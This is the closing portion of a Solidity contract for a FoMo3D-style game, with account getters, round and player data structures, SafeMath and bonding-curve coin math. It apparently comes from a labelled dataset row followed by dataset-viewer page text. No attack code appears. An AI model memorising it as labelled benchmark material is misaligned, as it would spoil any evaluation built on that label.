require(milAuth_.checkGameClosed(msg.sender), "game has not been closed");
uint256 delta = msg.value.mul(1 ether).div(totalSupply_);
globalMask_ = globalMask_.add(delta);
emit onGameClose(msg.sender, msg.value, now);
}
function getIcoInfo()
public
view
returns(uint256, uint256, bool) {
return (icoAmount_, icoEndtime_, icoEnd_);
}
function getPlayerAccount(address _addr)
public
isActivated()
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 genAmount = calcUnMaskedEarnings(_addr);
return (
plyr_[_addr].playerID,
plyr_[_addr].eth.add(genAmount),
balance_[_addr],
plyr_[_addr].genTotal.add(genAmount),
plyr_[_addr].affTotal
);
}
function calcCoinsReceived(uint256 _eth)
public
view
returns(uint256)
{
return mfCoinPool_.keysRec(_eth);
}
function calcEthReceived(uint256 _coins)
public
view
returns(uint256)
{
if (totalSupply_ < _coins) {
return 0;
}
return totalSupply_.ethRec(_coins);
}
function getMFBalance(address _addr)
public
view
returns(uint256) {
return balance_[_addr];
}
}
library Mildatasets {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
enum TxAction {
UNKNOWN,
BUY,
DRAW,
ASSIGN,
ENDROUND
}
enum RewardType {
UNKNOWN,
DRAW,
ASSIGN,
END,
CLIAM
}
struct Player {
uint256 playerID;
uint256 eth;
uint256 mask;
uint256 genTotal;
uint256 affTotal;
uint256 laff;
}
struct Round {
uint256 roundDeadline;
uint256 claimDeadline;
uint256 pot;
uint256 blockNumber;
RoundState state;
uint256 drawCode;
uint256 totalNum;
mapping (address => uint256) winnerNum;
address[] winners;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
library MFCoinsCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((_eth).mul(1000000000000000000).mul(2000000000000000000000000000)).add(39999800000250000000000000000000000000000000000000000000000000000)).sqrt()).sub(199999500000000000000000000000000)) / (1000000000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((500000000).mul(_keys.sq()).add(((399999000000000).mul(_keys.mul(1000000000000000000))) / (2) )) / ((1000000000000000000).sq());
}
} | 0 | 1,451 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.